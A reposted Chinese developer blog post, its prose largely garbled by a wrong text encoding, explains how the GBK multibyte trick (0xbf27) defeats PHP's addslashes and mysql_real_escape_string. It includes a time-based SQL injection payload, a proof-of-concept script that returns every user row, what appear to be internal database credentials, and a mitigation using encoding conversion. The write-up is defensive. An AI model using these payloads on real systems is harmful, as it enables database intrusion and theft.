T086ѧϰ�� | վ��ѧԺ | �����ĵ� | ���� | Ъ���� | IP��ַ��ѯ | �������� | ���ջ��� | �����ֵ� | ���ù��� | ������Ϣ��ѯ

PHP�ַ������ƹ�©��--addslashes��mysql_real_escape©��

�� ���ߣ�zhuizhuziwo ����ʱ�䣺2013-05-07 | ���壺�� �� С��
[����]���ϴλ���������У��и�����д���������������䣺$sName = $_GET['name']; $sName = addslashes($sName); $sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; va...

���ϴλ���������У��и�����д���������������䣺

$sName = $_GET['name']; 
$sName = addslashes($sName); 
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';"; 
var_dump($sql);  
exit(); 

����ɨ�蹤��һɨ�裬�����������ˣ���ɨ����SQLע��©�������һ��������������ݱ�����ס����ע�����ڶ����֣�

���鰲ȫ����ɨ����־���֣�
��SQL������
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
��ʱ��������SQLע�롣
//����������
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%';"


����ԭ����addslash�����ַ�%BF%27��©����


��©������2006�걻���������������ݿ��ַ�����ΪGBKʱ��0xbf27��������һ����Ч��GBK�ַ���������  addslashes()  ת������Ϊ0xbf5c27��ǰ����0xbf5c�Ǹ���Ч��GBK�ַ�������0xbf5c27�ᱻ����һ���ַ�0xbf5c��һ��������������������©���ʹ����ˡ�
          mysql_real_escape_string() Ҳ������ͬ�����⣬ֻ��������  addslashes() �����ǵ�����ʲô�ַ��������������˿�������Ӧ���ַ����������ַ���
��MySQL�������ָı�Ĭ���ַ����ķ�����
����һ��
�ı�mysql�����ļ�my.cnf
 [client]
default-character-set=GBK


��������
�ڽ�������ʱʹ��
CODE:
SET  CHARACTER  SET  'GBK'
����mysql_query("SET  CHARACTER  SET  'gbk'",  $c);����
mysql_query(��SET NAMES ��GBK����, $c);


�����Ƿ������ڸı��ַ���ʱmysql_real_escape_string() ����֪����ʹ��Ĭ���ַ��������Ӷ����ɺ�  addslashes()  һ����©������ע�����仰��ժ���ģ���Ҳû������


�����ϲ�ѯ������˵��
��mysql_real_escape_string���⵽�ı��뷽ʽ��client���õı��뷽ʽ(big5/bgk)��һ��ʱ��mysql_real_escape_string��addslashes��û�������� 
���� 
[client] 
default-character-set=latin1 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
����������mysql_real_escape_string  �ǻ���  latin1�����ģ��Dz���ȫ�� 


[client] 
default-character-set=gbk 


mysql_query("SET  CHARACTER  SET  'gbk'",  $mysql_conn); 
���������£�mysql_real_escape_string  ����  gbk  �������������� 


���ǣ�������108��153����֤�Ķ����ɹ���
��12������php�ļ���108����mysql�ϣ���ѯ��


��153���Ӳ��Ի���CDB���㣺
 
ִ�����ԣ�
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html�IJ��Դ���
<?php
//$c  =  mysql_connect("localhost",  "user",  "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);


//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);


mysql_select_db("database",  $c);


//  change  our  character  set
mysql_query("SET  CHARACTER  SET  'gbk'",  $c);


//  create  demo  table
mysql_query("CREATE  TABLE  users  (
        username  VARCHAR(32)  PRIMARY  KEY,
        password  VARCHAR(32)
)  CHARACTER  SET  'GBK'",  $c);
mysql_query("INSERT  INTO  users  VALUES('foo','bar'),  ('baz','test')",  $c);


//  now  the  exploit  code
$_POST['username']  =  chr(0xbf)  .  chr(0x27)  .  '  OR  username  =  username  #'; 
$_POST['password']  =  'anything'; 


//  Proper  escaping,  we  should  be  safe,  right?
$user  =  mysql_real_escape_string($_POST['username'],  $c);
$passwd  =  mysql_real_escape_string($_POST['password'],  $c);


$sql  =  "SELECT  *  FROM    users  WHERE    username  =  '{$user}'  AND  password  =  '{$passwd}'";
$res  =  mysql_query($sql,  $c);
echo  mysql_num_rows($res);  //  will  print  2,  indicating  that  we  were  able  to  fetch  all  records


?>
���֣�������©��

 


�ݹ��������ִ���©���Ĺؼ���addslashes()��mysql_real_escape_string()��Mysql����ΪGBKʱ�Ϳ��Դ���©����
���⣺mysql_real_escape_string��ִ��ǰ��������ȷ���ӵ�Mysql����Ч��


���У���������©����ԭ��������GBK�������ַ��������ģ�������������Ҫ�ڽ���addslashes����mysql_real_escape֮ǰ���������ַ����������⴦��һ�¡�


$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);             
Iconv���ַ�ʽ�Ƚϴֱ������ڲ���ʶ���������ַ�֮����������153�����ϻ��ضϲ���ʶ�����ַ����������ݣ�
���£�
string(32) "41�\' or sleep(10.10)=0 limit 1#"
string(2) "41"


������mb_convert_encoding������ʽ
$tmp = mb_convert_encoding($_POST['username'], 'gbk','utf-8');
$_POST['username'] = mb_convert_encoding($tmp, 'utf-8', 'gbk');
���ַ�ʽ�����˵�����ʶ����GBK�ַ���


��������֮����ʹ��addslashes��û����������


���ǣ����ﲻ����%bf�����������ַ�Ҳ��������ͬ��©�������ҿ����Լ��������ԵIJ��£�������zwell�����ᵽ��һ������
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 


�ο���ҳ��
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
http://ar.newsmth.net/thread-1d64171197dd0d-1.html

 

�ڶ����֣�
SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿\\\' or sleep(10.10)=0 limit 1#%


������SQLע�������У���count��SLEEP��������һ���󣬻�����mysql�����ڱ���ÿ����¼�϶�sleep��n���룬���ԣ���������������1000����¼ʱ�ͻ�sleep 1000*n�롣
�������ﻹ��������������������

ԭ�ģ�http://blog.csdn.net/zhuizhuziwo/article/details/8525789

  • ת����ע����Դ��ITѧϰ�� ��ַ��http://www.t086.com/ �����������Ƽ�������
  • �ر������� ��վ�������ر�������ֹת�ص�ר�������������¿�������ת�أ���������ע��������ԭʼ���ߡ����°�Ȩ������ԭʼ�������С����ڱ���վת�����µĸ��˺���վ�����DZ�ʾ������л�⡣������վת�ص������а�Ȩ��������ϵ���ǣ����ǻᾡ�����Ը�����
  • ��
  • ��
  • ��
  • ��
  • ��
  • ��
  • ��
  • ��
  • ��
������ѯ Health Check Gulangyu
© 2017 T086ѧϰ�� - T086.com(ԭitlearner.com)
RunTime:7.86ms QueryTime:7